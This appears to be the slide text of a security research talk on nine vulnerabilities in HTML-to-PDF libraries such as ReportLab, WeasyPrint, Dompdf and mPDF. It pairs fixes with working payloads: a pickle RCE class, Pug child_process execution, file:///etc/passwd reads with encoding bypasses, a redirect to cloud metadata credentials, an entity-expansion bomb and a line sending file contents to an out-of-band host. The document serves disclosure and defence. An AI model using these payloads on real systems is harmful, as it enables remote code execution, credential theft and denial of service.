1 of 43

Pedro Cruz (a.k.a gankd)

Pentest Analyst & Vulnerability Researcher

Discovering 0-Days in HTML-to-PDF Generators (120 Million Monthly Targets)

2 of 43

WHO I AM

Pedro Cruz / gankd

Penetration Tester · Hakai Security · Florianópolis, BR

Offensive security analyst focused on pentesting, vulnerability research and bug hunting across web, cloud, infrastructure and mobile. Reported valid bugs to Google, Netflix, MercadoLibre, OpenAI, Notion and PortSwigger.

CERTIFICATIONS

OSCP+ · CRTO · DCPT · CHWI

LINKS

linkedin.com/in/pedr%CE%BF · github.com/g4nkd · x.com/gankd_

//attack to protect.

3

CVEs assigned

9+

0-days in HTML-to-PDF libraries

Top 5

HackerOne (Brazil)

2

Pending CVEs

3 of 43

THE TARGET

Why the PDF generator is the perfect target

Almost every rich app emits a PDF at some point, invoice, receipt, report, certificate, statement. Behind that “Export PDF” button there’s a lot of times an open-source lib assembling HTML with user data.

When input reaches the template unsanitized, the renderer starts interpreting attacker-controlled tags, CSS and SVG, and it runs on the backend, many times with access to the filesystem, the internal network and, with luck, the cloud metadata endpoint.

120M+

installs / month across the libs

downloads / month — ReportLab alone

9

0-days documented in this study

84M

//attack to protect.

4 of 43

//attack to protect.

THE REAL INPUT · DATA FLOW

The PDF is just the output

What you attack is the HTML assembled on the server. The document is only the byproduct.

//attack to protect.

01 · SOURCE

User input

The attacker controls the raw string that goes in.

untrusted

02 · SERVER

HTML template

The backend drops that string straight into markup, no sanitization:

html = f"<h1>{user}</h1>"

server-side

03 · RENDERER

Tags get interpreted

The engine parses attacker-controlled tags with the filesystem, the internal network and cloud metadata in reach.

the real attack surface

04 · OUTPUT

The PDF

The file handed back to the user. Renders clean. Proves nothing about what already ran on the box.

just the output

THE RULE The trust boundary is crossed the moment user data becomes HTML on the backend.

5 of 43

POPULAR ENGINES

Deep Dive into Popular Engines

//attack to protect.

6 of 43

OVERVIEW

The nine vulnerabilities

#

Library

Class

Impact

1

ReportLab

Insecure Deserialization

RCE

2

ReLaXed

Template injection (Pug)

RCE

3

WeasyPrint

link rel=attachment file://

Local File Read

4

WeasyPrint

SSRF bypass via redirect

SSRF

5

Browsershot

Blocklist misses UNC

LFI

6

mPDF

Billion Laughs in SVG

DoS

7

Dompdf

@font-face → OOM

File-exists oracle

8

TCPDF

Image error leaks path

File-exists oracle

9

mPDF

file_get_contents on dir

Directory enum

//attack to protect.

7 of 43

RECON

Attack surface & fingerprinting the engine

Where it shows up

Invoice, receipt, transfer confirmation Analytics report with a custom filter Course certificate (e-learning) Account export, bank statement Invitation, contract, proposal Ticket, voucher, pass

Read the metadata first

$ exiftool -Creator -Producer -CreatorTool -Software invoice.pdf

Producer

Runs

JS

WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab

server

yes

no

wkhtmltopdf, Chromium, Browsershot, ReLaXed

server

jsPDF, pdf-lib, html2pdf

client

—

Server vs. client decides whether there’s a target.

//attack to protect.

8 of 43

#1 · DESERIALIZATION · PART 1 — SERIALIZATION

01

ReportLab — RCE via Deserialization

RCE

//attack to protect.

Serialization turns a live object into bytes you can save or send. Deserialization rebuilds the object from those bytes. Python’s built-in pickle does exactly this, and rebuilding an object can run code.

01 SERIALIZE

​

A live object is flattened into a compact string of bytes, usually base64-wrapped so it travels as plain text.

02 IT BECOMES INPUT

​

Those bytes arrive through a form field or API parameter. From here on, the attacker controls what they say.

03 DESERIALIZE = TRUST

​

pickle rebuilds the object from instructions baked into the bytes. A crafted one can run any command.

THE RULE: Deserializing untrusted data hands the attacker your interpreter. In ReportLab, one hidden tag inside a Paragraph is all it takes.

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

9 of 43

#1 · DESERIALIZATION · PART 1 — SERIALIZATION

01

ReportLab — RCE via Deserialization

RCE

//attack to protect.

Static analysis quickly surfaces pickle.loads. The core problem: ReportLab's decode_label does this:

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

def decode_label(label):

return pickle.loads(base64_decodebytes(label.encode('latin1')))

The question is: how does an attacker get their data all the way to that function?

10 of 43

#1 · DESERIALIZATION · PART 1 — SERIALIZATION

01

ReportLab — RCE via Deserialization

RCE

//attack to protect.

decode_label isn't called directly. It runs inside a method named _indexAdd, which lives on ReportLab's canvas object (the thing that draws the PDF).

​

But _indexAdd only exists if the app enables ReportLab's indexing feature:

​

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

index_gadget = SimpleIndex()

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())

11 of 43

#1 · DESERIALIZATION · PART 1 — SERIALIZATION

01

ReportLab — RCE via Deserialization

RCE

//attack to protect.

ReportLab also supports a tag you can put inside paragraph text:

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

<onDraw name="SOME_METHOD" label="SOME_DATA"/>

This means: "call the method named SOME_METHOD on the canvas, and pass it SOME_DATA."

12 of 43

#1 · DESERIALIZATION · PART 2 — THE FLAW

01

ReportLab — RCE via Deserialization

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

RCE

A Paragraph reads <onDraw> unsanitized, but the sink only fires once SimpleIndex arms the canvas.

01 · INPUT

Your text

Anything rendered inside a Paragraph.

→

02 · THE TAG

<onDraw>

name and label pulled from the HTML, unsanitized.

→

03 · THE GADGET

_indexAdd

Exists only because SimpleIndex armed the canvas via getCanvasMaker().

→

04 · DECODE

decode_label()

_indexAdd feeds the label straight to pickle, base64-decoded, unchecked.

→

05 · EXECUTE

pickle.loads()

The bytes are rebuilt into a live object.

attacker code runs here

doc.build([Paragraph(tag)],

canvasmaker=idx.getCanvasMaker())

13 of 43

#1 · DESERIALIZATION · PART 2 — THE FLAW

RCE

01

ReportLab — RCE via Deserialization

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

import pickle, base64, os

​

class Exploit:

def __reduce__(self):

return (os.system, ('id > /tmp/pwn',))

​

blob = base64.b64encode(pickle.dumps(Exploit()))

tag = f"<onDraw name='_indexAdd' label='{blob}'/>"

​

doc.build([Paragraph(tag)],

canvasmaker=idx.getCanvasMaker())

01 CRAFT THE OBJECT

A class whose __reduce__ returns os.system with your command.

02 HIDE IT IN A TAG

Pickle it, base64 it, drop it into an <onDraw> tag now it’s just “text”.

03 IT FIRES

doc.build() rebuilds it via pickle.loads(). RCE before the PDF exists.

The victim submits a form field. The server runs your command. The PDF still comes back looking normal.

Weaponizing it takes one class. Its __reduce__ tells pickle to call os.system, so rebuilding it runs your command, during doc.build(), before the PDF is written.

14 of 43

#1 · DESERIALIZATION · PART 2 — THE FLAW

RCE

01

ReportLab — RCE via Deserialization

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

//attack to protect.

One unsanitized field → command execution on the PDF server. And the fix is a single function call.

THE SCENARIO · bank statement export

1

The attacker sets their profile name to the <onDraw> payload.

2

They click Export Statement: the server calls doc.build().

3

os.system runs on the backend full RCE. The PDF returns, looking completely normal.

THE FIX · reportlab 4.4.8

- return pickle.loads(b64decode(label))

+ return literal_eval(

+ b64decode(label).decode('ascii'))

literal_eval parses only literals, no callables, no code. Update to ReportLab ≥ 4.4.8.

THE LESSON Never hand user data to pickle.loads not on any path, not for any reason. Use literal_eval, JSON, or a strict schema instead.

15 of 43

#1 · DESERIALIZATION · PART 4 - PROOF OF CONCEPT

//attack to protect.

ReportLab — RCE via pickle

16 of 43

#2 · TEMPLATE INJECTION

02

ReLaXed — RCE via Pug

RCE (as a service?)

//attack to protect.

The context passed to pug.render() leaves Node's require visible to the template. If user input is concatenated into the template source instead of passed as a local, Pug lets an attacker open a code block with '- …' and run arbitrary JavaScript in the render process leading to full RCE.

Fix — never concatenate input into the template source. Pass it as locals: pug.render(tpl, { title }), and strip require from the context.

#{""}

- var cmd = require(

'child_process')

.execSync('id')

.toString()

p RCE Result: #{cmd}

11.8k stars (clone / Docker) · sink: masterToPDF.js → pug.render()

17 of 43

#2 · TEMPLATE INJECTION

//attack to protect.

ReLaXed — RCE via Pug

18 of 43

#3 · LOCAL FILE READ

03

WeasyPrint — Local File Read

25M downloads/month (PyPI) · CVE-2024-28184

LFR

//attack to protect.

19 of 43

#3 · LOCAL FILE READ

03

WeasyPrint — Local File Read

LFR

//attack to protect.

WeasyPrint honors <link rel="attachment"> and lets its href be a file:// URL. The file is fetched and embedded as a real PDF attachment, so anyone opening the document can detach and read it.

Note: <link> renders nothing on the page, so sanitizers that only inspect visible content let it through.

<!-- attacker input -->

<link rel="attachment" href="file:///etc/passwd">

$ pdfdetach -saveall out.pdf

$ cat passwd

root:x:0:0:root:/root:...

25M downloads/month (PyPI) · CVE-2024-28184

20 of 43

#3 · LOCAL FILE READ

03

WeasyPrint — Local File Read

LFR

//attack to protect.

25M downloads/month (PyPI) · CVE-2024-28184

21 of 43

#3 · LOCAL FILE READ

03

WeasyPrint — Local File Read

LFR

//attack to protect.

25M downloads/month (PyPI) · CVE-2024-28184

credits to: nullie

22 of 43

#4 · SSRF BYPASS

04

WeasyPrint — SSRF Protections

WeasyPrint < 68.0 · CVE-2025-68616 · CVSS 7.5

SSRF

url_fetcher(url) runs before any HTTP goes out, you inspect the URL, then return the resource to allow it or raise to block it. Same hook for images, CSS, fonts and <link> targets.

HTML(source).write_pdf(

url_fetcher=my_fetcher)

my_fetcher("http://169.254.169.254/") → blocked · internal IP

my_fetcher("https://cdn.hakai.com/logo.svg") → fetched · 200 OK

23 of 43

#4 · SSRF BYPASS

04

WeasyPrint — SSRF Protection Bypass

WeasyPrint < 68.0 · CVE-2025-68616 · CVSS 7.5

SSRF

//attack to protect.

The app can validate URLs in a custom url_fetcher, but the default one calls urllib.urlopen, which follows 301/302/307 redirects on its own without re-entering the fetcher.

The blocked host (169.254.169.254) is reached on the second hop: point href at an attacker host that answers 302 then urllib follows blind.

Fix: upgrade to ≥ 68.0.

# victim renders this

<link rel="attachment"

href="https://gankd.com/redirect">

def go():

return redirect(

"http://169.254.169.254/latest/meta-data/iam/security-credentials/",

code=302)

24 of 43

#4 · SSRF BYPASS

WeasyPrint — SSRF via redirect

//attack to protect.

25 of 43

#5 · UNC BYPASS

05

Browsershot — LFI

1.92M installs/month (Packagist) · sink: $unsafeProtocols

LFI

//attack to protect.

The blacklist tries to block the file. Does anyone have any ideas on how this could be bypassed?

​

// incomplete blacklist

$unsafeProtocols = [

'file:', 'file://',

'file:\\', 'view-source',

];

26 of 43

#5 · UNC BYPASS

05

Browsershot — LFI via UNC

1.92M installs/month (Packagist) · sink: $unsafeProtocols

LFI

//attack to protect.

The blacklist blocks file in several forms but doesn't cover UNC. Chromium accepts \\localhost\etc\passwd and resolves it against the local filesystem.

Fix: allowlist (https://, http://, data:) instead of a blacklist. Everything else denied by default: protocol, host and path.

// incomplete blacklist

$unsafeProtocols = [

'file:', 'file://',

'file:\\', 'view-source',

]; // UNC is not here

<iframe src=

"\\localhost/etc/passwd"

width=1000 height=1000>

27 of 43

#5 · UNC BYPASS

05

Browsershot — FUZZ Time

1.92M installs/month (Packagist) · sink: $unsafeProtocols

LFI

//attack to protect.

After extensive fuzzing and testing, I discovered several additional ways to reveal the internal filesystem within an iframe, bypassing the file:// blacklist.

​

Key takeaway: use whitelists, not blacklists.

<iframe src="\\localhost/etc/passwd">

​

<iframe src="//127.0.0.1/etc/passwd">

​

<iframe src="\\//etc/passwd"></iframe>

​

<iframe src="&#102;ile:///etc/passwd"></iframe>

​

<iframe src="&#x66;ile:///etc/passwd"></iframe>

​

<iframe src="file:&#47;&#47;&#47;etc&#47;passwd"></iframe>

28 of 43

//attack to protect.

#6 · BILLION LAUGHS · PART 1 — CONTEXT

06

Entity Expansion

2.63M installs/month (Packagist) · sink: Image/Svg.php::ImageSVG

DoS

//attack to protect.

XML lets you define entities, shortcuts that expand into text. <!ENTITY x "AAAA"> makes &x; expand to "AAAA". Nesting entities creates exponential growth.

preg_replace loop → no depth limit

This makes the SVG parser a perfect sink for entity-bomb payloads.

<!-- normal entity -->

<!ENTITY greeting "Hello">

<text>&greeting;</text>

<!-- expands to: Hello -->

​

<!-- nested = exponential -->

<!ENTITY a "AAAAAAAAAA">

<!ENTITY b "&a;&a;&a;&a;&a;">

29 of 43

#6 · BILLION LAUGHS

06

mPDF — DoS via SVG

2.63M installs/month (Packagist) · sink: Image/Svg.php::ImageSVG

DoS

Each pass re-expands the previous entity, so a short chain grows exponentially: 482 B of input balloons into ~1 GB of RAM.

482 B input → ~1 GB RAM

20 parallel requests take down the fleet.

<svg width=1 height=1>

<!ENTITY i "&h;&h;&h;&h;&h;">

<!ENTITY h "&g;&g;&g;&g;&g;">

<!ENTITY g "&f;&f;&f;&f;&f;">

... (chain a→i)

<!ENTITY a "AAAAAAAAAA">

<text>&i;</text>

</svg>

30 of 43

//attack to protect.

#7 · FILE-EXISTS ORACLE · PART 1 — PHP MEMORY LIMIT

07

Understanding PHP memory_limit

ORACLE

//attack to protect.

PHP's memory_limit directive (default 128 MB) caps how much RAM a single script can allocate. It prevents runaway scripts from crashing the server.

​

When exceeded, PHP kills the process with a fatal error, but this hard ceiling also becomes an oracle.

# php.ini

memory_limit = 128M

# when exceeded:

PHP Fatal error:

Allowed memory size of

134217728 bytes exhausted

31 of 43

#7 · FILE-EXISTS ORACLE

07

Dompdf — file-existence oracle

8M installs/month (Packagist) · CVE-2026-55555 · CVSS 6.3

ORACLE

//attack to protect.

Dompdf resolves @font-face src: url(file://…). If the target exists, the font engine attempts a heavy parse per declaration and blows past PHP's 128M memory_limit.

If it doesn't exist, it silently moves on.

That crash-vs-PDF split leaks file existence, even across a chroot. Fix: 3.1.6+ rejects paths outside the chroot in resolveUrl().

# repeat one decl xN

@font-face {

font-family: f;

src: url("file://

/etc/passwd"); }

# file exists:

PHP Fatal error: Allowed

memory size ... exhausted

# missing → PDF renders

32 of 43

#7 · FILE-EXISTS ORACLE

07

Dompdf — file-existence oracle

8M installs/month (Packagist) · CVE-2026-55555 · CVSS 6.3

ORACLE

//attack to protect.

Generate HTML with the same @font-face declaration repeated ~5,530 times, all pointing at the target path.

​

POST the payload to any endpoint that hands unsanitized HTML to Dompdf.

# payload_gen.php

for ($i=0; $i<$N; $i++) {

$css .= "@font-face{

font-family:f{$i};

src:url(file://{$f});}"; }

33 of 43

#8 · FILE-EXISTS ORACLE

08

TCPDF — file-existence oracle & path disclosure

3.25M installs/month (Packagist) · sink: Image() in tcpdf.php

ORACLE

//attack to protect.

On an <img> with no explicit width/height, TCPDF runs fileExists() then getimagesize(). When the path exists but isn't a valid image, a directory, or config.php, getimagesize() fails and Error() aborts with a message that includes the full path.

A 15k-entry list runs in one HTTP request; a WAF watching for 404s or traversal sees nothing, the fuzzing happens inside PHP.

<!-- probe list -->

<img src="config.php">

<img src="/.env">

<img src="/admin/">

# exists → error leaks:

TCPDF ERROR: [Image]

Unable to get the size

of /path/file

# missing → normal PDF

34 of 43

#8 · FILE-EXISTS ORACLE

08

TCPDF — Bonus: traversal bypass

3.25M installs/month (Packagist) · sink: Image() in tcpdf.php

ORACLE

//attack to protect.

# raw ../ → blocked

"../../etc/passwd"

# double-encoded → ok

"%252e%252e/etc/passwd"

TCPDF blocks ../ with strpos() but urldecode() runs after the check. Double-encode the dots: %252e%252e slips past strpos, then decodes back to ../ inside the absolute-path branch.

35 of 43

#9 · DIR-EXISTS ORACLE

09

mPDF — directory oracle

2.63M installs/month (Packagist) · sink: LocalContentLoader

ORACLE

//attack to protect.

LocalContentLoader calls file_get_contents($path) with no type check. On an existing directory, PHP emits a warning to stdout, but mPDF has already begun writing PDF bytes, so it dies with 'Output already sent'.

Crash vs. PDF is the oracle.

# vulnerable loader

def load($path):

return file_get_

contents($path)

<img src="/var/lib/docker"/>

dir exists → 'Output already sent' → fatal

missing → clean PDF

36 of 43

//attack to protect.

JS EXECUTION · IMPACT

What JS Execution Unlocks

SSRF · CSRF · LFI · RCE

Same primitive, four outcomes, the render worker runs your JS on the backend.

01 INTERNAL SERVER-SIDE REQUEST FORGERY (SSRF)

​

​

<script src="http://127.0.0.1/"></script>

fetch('http://169.254.169.254')

​

02 CROSS-SITE REQUEST FORGERY

​

​

fetch(url, {method:'POST',

credentials:'include'})

​

​

03 FILE READ

​

​

fetch('file:///etc/passwd')

.then(r=>r.text())

new Image().src='//oob/?'+d

​

04 REMOTE CODE EXECUTION (RCE)

​

​

require('child_process').execSync('id')

​

//attack to protect.

37 of 43

//attack to protect.

PLAYBOOK

The methodology — 6 steps

1

Read the metadata

exiftool fingerprints the engine. Server-side or client-side defines the vectors.

2

HTML injection

<h1>test</h1> in the field that shows in the PDF. Test entities and encoding.

3

Does JS run?

<script>document.write(…)</script>. Printed = headless engine. The test that decides the hunt.

4

With / without JS

With JS: fetch, XHR, cloud metadata, internal net. Without: tag by tag, iframe, link, svg,

5

Filter bypass

Encoding, alt protocol (UNC), alt tag, <base href>, redirect, 6to4 / NAT64 IP encodings.

6

Side-channel

Nothing reflects? Response time, status, crash vs. success, error messages leaking the path.

38 of 43

BLUE TEAM

Defensive recommendations

—

Allowlist, never blocklist. Protocol, host and path, deny by default.

—

Revalidate on every hop. A filter that doesn’t re-enter on a redirect is useless.

—

Don’t call an unsafe parser on user data. pickle.loads, eval, preg_replace in a loop, unserialize().

—

Engine with JS: disable JS, isolate the worker’s network, don’t load real session cookies.

—

A generic error message: closes most of the oracles.

—

Classify addresses by class, not by string. IsPrivate() misses 6to4 / Teredo / NAT64.

—

Fix the issue and publish a new software version containing that fix. A fix without a tag leaves downstream blind.

//attack to protect.

39 of 43

PRACTICING WITH HACKING CLUB

//attack to protect.

Practice

40 of 43

Hacking Club

​

The Certifia challenge simulates a server with the vulnerability from this post.

Practice

//attack to protect.

PRACTICING WITH HACKING CLUB

41 of 43

CONCLUSION

//attack to protect.

Linkedin & Research Blog Post

Presentation Feedback

42 of 43

CONCLUSION

//attack to protect.

Any questions?

43 of 43

pcruz@hakaisecurity.io

Thank you

//attack to protect.